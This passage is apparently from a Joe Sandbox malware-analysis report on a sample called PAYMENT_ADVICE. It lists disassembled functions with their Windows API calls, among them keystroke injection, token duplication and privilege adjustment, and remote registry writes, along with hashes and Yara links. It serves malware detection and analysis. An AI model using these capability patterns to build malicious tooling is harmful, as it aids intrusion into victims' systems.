                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: PathTemp
                                                              • String ID:
                                                              • API String ID: 2920410445-0
                                                              • Opcode ID: 2a123a4cb96796b7833730b99f55e3e9bb079935b932ecb5a2802b23bfb795a2
                                                              • Instruction ID: b9165808c486beab9646dd8664c9ee2dc054f3fa4d51290cf82d3f5b1d0bb507
                                                              • Opcode Fuzzy Hash: 2a123a4cb96796b7833730b99f55e3e9bb079935b932ecb5a2802b23bfb795a2
                                                              • Instruction Fuzzy Hash: 5AC04C764541199FD71BA754CC95EB9763CAB01701F0044D57206D545096701B45CF21
                                                              Function 003AD07B Relevance: 1.4, APIs: 1, Instructions: 198COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(00000002,00000000), ref: 003AD1FF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast
                                                              • String ID:
                                                              • API String ID: 1452528299-0
                                                              • Opcode ID: ebd27415c64cb8ce9b78d03674bc71cc7f5ee2559659028334f3905ff3fce778
                                                              • Instruction ID: 924529ce363e4df570b96e20c1bbae4e46b6e9011cd6b597b02fa6015b313fef
                                                              • Opcode Fuzzy Hash: ebd27415c64cb8ce9b78d03674bc71cc7f5ee2559659028334f3905ff3fce778
                                                              • Instruction Fuzzy Hash: 20714D356043018FC716EF64C491A6AB7E5EF8A314F04492DF8969F7A2DB30E909CB52
                                                              Function 00360C08 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AllocVirtual
                                                              • String ID:
                                                              • API String ID: 4275171209-0
                                                              • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                              • Instruction ID: ad6915fd89b7503fc063a0e8f439e4519d5b14d072d1c79b3466c1e74706038a
                                                              • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                              • Instruction Fuzzy Hash: 3831E070A001059FC71ADF48C486A6AFBB6FB49300B25C6A5E80ACF759DB31EDD1DB90
                                                              Function 00D922A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Sleep.KERNELBASE(000001F4), ref: 00D922B1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Sleep
                                                              • String ID:
                                                              • API String ID: 3472027048-0
                                                              • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                              • Instruction ID: fd0a7f598a6abb7f40d7dd544d9472b2c28c50994014ee560e23cf7d304c058e
                                                              • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                              • Instruction Fuzzy Hash: BDE0E67494010EEFDB00EFB8D5496AE7FF4EF04301F1001A1FD01D2280D6309D508A72

                                                              Non-executed Functions

                                                              Function 003CCABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 003CCB37
                                                              • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 003CCB95
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 003CCBD6
                                                              • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 003CCC00
                                                              • SendMessageW.USER32 ref: 003CCC29
                                                              • _wcsncpy.LIBCMT ref: 003CCC95
                                                              • GetKeyState.USER32(00000011), ref: 003CCCB6
                                                              • GetKeyState.USER32(00000009), ref: 003CCCC3
                                                              • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 003CCCD9
                                                              • GetKeyState.USER32(00000010), ref: 003CCCE3
                                                              • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 003CCD0C
                                                              • SendMessageW.USER32 ref: 003CCD33
                                                              • SendMessageW.USER32(?,00001030,?,003CB348), ref: 003CCE37
                                                              • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 003CCE4D
                                                              • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 003CCE60
                                                              • SetCapture.USER32(?), ref: 003CCE69
                                                              • ClientToScreen.USER32(?,?), ref: 003CCECE
                                                              • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 003CCEDB
                                                              • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 003CCEF5
                                                              • ReleaseCapture.USER32 ref: 003CCF00
                                                              • GetCursorPos.USER32(?), ref: 003CCF3A
                                                              • ScreenToClient.USER32(?,?), ref: 003CCF47
                                                              • SendMessageW.USER32(?,00001012,00000000,?), ref: 003CCFA3
                                                              • SendMessageW.USER32 ref: 003CCFD1
                                                              • SendMessageW.USER32(?,00001111,00000000,?), ref: 003CD00E
                                                              • SendMessageW.USER32 ref: 003CD03D
                                                              • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 003CD05E
                                                              • SendMessageW.USER32(?,0000110B,00000009,?), ref: 003CD06D
                                                              • GetCursorPos.USER32(?), ref: 003CD08D
                                                              • ScreenToClient.USER32(?,?), ref: 003CD09A
                                                              • GetParent.USER32(?), ref: 003CD0BA
                                                              • SendMessageW.USER32(?,00001012,00000000,?), ref: 003CD123
                                                              • SendMessageW.USER32 ref: 003CD154
                                                              • ClientToScreen.USER32(?,?), ref: 003CD1B2
                                                              • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 003CD1E2
                                                              • SendMessageW.USER32(?,00001111,00000000,?), ref: 003CD20C
                                                              • SendMessageW.USER32 ref: 003CD22F
                                                              • ClientToScreen.USER32(?,?), ref: 003CD281
                                                              • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 003CD2B5
                                                                • Part of subcall function 003425DB: GetWindowLongW.USER32(?,000000EB), ref: 003425EC
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 003CD351
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                              • String ID: @GUI_DRAGID$F$pb@
                                                              • API String ID: 3977979337-1958197849
                                                              • Opcode ID: 6301538b6e4b1e8018770f8f7f38c12508557605dcee37d84104eecbcda664ec
                                                              • Instruction ID: 137ed192ac2cfa7c2d0b0f0bf9e72148bc668a33cf0d3a6874a66fa70da5d59e
                                                              • Opcode Fuzzy Hash: 6301538b6e4b1e8018770f8f7f38c12508557605dcee37d84104eecbcda664ec
                                                              • Instruction Fuzzy Hash: 39428A35214240AFDB22DF64C848FAABBE9FF49310F15492DF659DB2A0C731AC51DB91
                                                              Function 00356F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove$_memset
                                                              • String ID: ]?$3c5$DEFINE$P\?$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_5
                                                              • API String ID: 1357608183-2281723495
                                                              • Opcode ID: c000aeea39527d0ee249ba9fa581ae8f2311236d1f9aef0b7b425f0712274bdd
                                                              • Instruction ID: e6f46c7a0f90dd140bcb78b5af1e7dc7719b810e6bcade37240950b3a4636edf
                                                              • Opcode Fuzzy Hash: c000aeea39527d0ee249ba9fa581ae8f2311236d1f9aef0b7b425f0712274bdd
                                                              • Instruction Fuzzy Hash: C793A075E04219DBDF26CF98D881BADB7B1FF48310F25816AE945AB391E7709E81CB40
                                                              Function 003448D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetForegroundWindow.USER32(00000000,?), ref: 003448DF
                                                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0037D665
                                                              • IsIconic.USER32(?), ref: 0037D66E
                                                              • ShowWindow.USER32(?,00000009), ref: 0037D67B
                                                              • SetForegroundWindow.USER32(?), ref: 0037D685
                                                              • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0037D69B
                                                              • GetCurrentThreadId.KERNEL32 ref: 0037D6A2
                                                              • GetWindowThreadProcessId.USER32(?,00000000), ref: 0037D6AE
                                                              • AttachThreadInput.USER32(?,00000000,00000001), ref: 0037D6BF
                                                              • AttachThreadInput.USER32(?,00000000,00000001), ref: 0037D6C7
                                                              • AttachThreadInput.USER32(00000000,?,00000001), ref: 0037D6CF
                                                              • SetForegroundWindow.USER32(?), ref: 0037D6D2
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0037D6E7
                                                              • keybd_event.USER32(00000012,00000000), ref: 0037D6F2
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0037D6FC
                                                              • keybd_event.USER32(00000012,00000000), ref: 0037D701
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0037D70A
                                                              • keybd_event.USER32(00000012,00000000), ref: 0037D70F
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0037D719
                                                              • keybd_event.USER32(00000012,00000000), ref: 0037D71E
                                                              • SetForegroundWindow.USER32(?), ref: 0037D721
                                                              • AttachThreadInput.USER32(?,?,00000000), ref: 0037D748
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                              • String ID: Shell_TrayWnd
                                                              • API String ID: 4125248594-2988720461
                                                              • Opcode ID: 7f49a6566f40433d50aab7266e686a7c9c9cc16e0afaaf333c93c7d45b9bcd2f
                                                              • Instruction ID: 092e0ae0e34ea811e8681c2c7415e6d491c24b526ee3bd6598968eb79b335587
                                                              • Opcode Fuzzy Hash: 7f49a6566f40433d50aab7266e686a7c9c9cc16e0afaaf333c93c7d45b9bcd2f
                                                              • Instruction Fuzzy Hash: E2317271A40318BFEB226F619C89F7F7E6DEF44B50F114025FA09EA1D1C6B46910ABA0
                                                              Function 00398310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003987E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0039882B
                                                                • Part of subcall function 003987E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00398858
                                                                • Part of subcall function 003987E1: GetLastError.KERNEL32 ref: 00398865
                                                              • _memset.LIBCMT ref: 00398353
                                                              • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 003983A5
                                                              • CloseHandle.KERNEL32(?), ref: 003983B6
                                                              • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 003983CD
                                                              • GetProcessWindowStation.USER32 ref: 003983E6
                                                              • SetProcessWindowStation.USER32(00000000), ref: 003983F0
                                                              • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0039840A
                                                                • Part of subcall function 003981CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00398309), ref: 003981E0
                                                                • Part of subcall function 003981CB: CloseHandle.KERNEL32(?,?,00398309), ref: 003981F2
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                              • String ID: $default$winsta0
                                                              • API String ID: 2063423040-1027155976
                                                              • Opcode ID: a6338f0b495256ae280b59c6e2de294ee6793c3c9955fa3fd7b57156c60f4d53
                                                              • Instruction ID: 9b1eacead49812b5726ed859b0b634bb0fa4e7f998a0c7fa39c4e35ec69fdf62
                                                              • Opcode Fuzzy Hash: a6338f0b495256ae280b59c6e2de294ee6793c3c9955fa3fd7b57156c60f4d53
                                                              • Instruction Fuzzy Hash: 2A8177B1900209AFDF129FA5CC45EFEBBB9FF46304F158169F910A6261DB319E18DB20
                                                              Function 003AC75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 003AC78D
                                                              • FindClose.KERNEL32(00000000), ref: 003AC7E1
                                                              • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 003AC806
                                                              • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 003AC81D
                                                              • FileTimeToSystemTime.KERNEL32(?,?), ref: 003AC844
                                                              • __swprintf.LIBCMT ref: 003AC890
                                                              • __swprintf.LIBCMT ref: 003AC8D3
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                              • __swprintf.LIBCMT ref: 003AC927
                                                                • Part of subcall function 00363698: __woutput_l.LIBCMT ref: 003636F1
                                                              • __swprintf.LIBCMT ref: 003AC975
                                                                • Part of subcall function 00363698: __flsbuf.LIBCMT ref: 00363713
                                                                • Part of subcall function 00363698: __flsbuf.LIBCMT ref: 0036372B
                                                              • __swprintf.LIBCMT ref: 003AC9C4
                                                              • __swprintf.LIBCMT ref: 003ACA13
                                                              • __swprintf.LIBCMT ref: 003ACA62
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
                                                              • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                              • API String ID: 3953360268-2428617273
                                                              • Opcode ID: e08f3ca68430eaa0e8d88dddde65d79a1963b31120a7d56f86151dc3e746735b
                                                              • Instruction ID: 10e154fb380002d15e9106d4c942cd221b7391c61119022ec1b616356a3888b9
                                                              • Opcode Fuzzy Hash: e08f3ca68430eaa0e8d88dddde65d79a1963b31120a7d56f86151dc3e746735b
                                                              • Instruction Fuzzy Hash: C6A120B1414345ABC712EFA4C885EAFB7ECFF95704F40491AF595CA191EB34EA08CB62
                                                              Function 003AEF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 003AEFB6
                                                              • _wcscmp.LIBCMT ref: 003AEFCB
                                                              • _wcscmp.LIBCMT ref: 003AEFE2
                                                              • GetFileAttributesW.KERNEL32(?), ref: 003AEFF4
                                                              • SetFileAttributesW.KERNEL32(?,?), ref: 003AF00E
                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 003AF026
                                                              • FindClose.KERNEL32(00000000), ref: 003AF031
                                                              • FindFirstFileW.KERNEL32(*.*,?), ref: 003AF04D
                                                              • _wcscmp.LIBCMT ref: 003AF074
                                                              • _wcscmp.LIBCMT ref: 003AF08B
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 003AF09D
                                                              • SetCurrentDirectoryW.KERNEL32(003F8920), ref: 003AF0BB
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 003AF0C5
                                                              • FindClose.KERNEL32(00000000), ref: 003AF0D2
                                                              • FindClose.KERNEL32(00000000), ref: 003AF0E4
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                              • String ID: *.*
                                                              • API String ID: 1803514871-438819550
                                                              • Opcode ID: 610c79404053e4166d26f7911f14b8d9e19d529f73e8993a812e91985bca2a4a
                                                              • Instruction ID: aaf96ae10375eadcf8459bfa240e75b1c46f19a1d5243a549438dfa551179261
                                                              • Opcode Fuzzy Hash: 610c79404053e4166d26f7911f14b8d9e19d529f73e8993a812e91985bca2a4a
                                                              • Instruction Fuzzy Hash: B031BF365012186EDB16EBB4EC48EEEB7ADDF4A360F114176E904E30A1DB70EE44CB65
                                                              Function 003C0857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003C0953
                                                              • RegCreateKeyExW.ADVAPI32(?,?,00000000,003CF910,00000000,?,00000000,?,?), ref: 003C09C1
                                                              • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 003C0A09
                                                              • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 003C0A92
                                                              • RegCloseKey.ADVAPI32(?), ref: 003C0DB2
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 003C0DBF
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Close$ConnectCreateRegistryValue
                                                              • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                              • API String ID: 536824911-966354055
                                                              • Opcode ID: 9e3251cc15d3175d04fbb0ac05073d68a604ecb68738bfe20d3877f078f7fe70
                                                              • Instruction ID: 4956a700ae72bc36828af50130498971e7eec188834f4b791a9b4443a078b77e
                                                              • Opcode Fuzzy Hash: 9e3251cc15d3175d04fbb0ac05073d68a604ecb68738bfe20d3877f078f7fe70
                                                              • Instruction Fuzzy Hash: 640225756006519FCB16EF28C845E2AB7E5EF89710F05885DF88A9F262CB31FC41CB81
                                                              Function 003566E1 Relevance: 25.9, Strings: 20, Instructions: 889COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
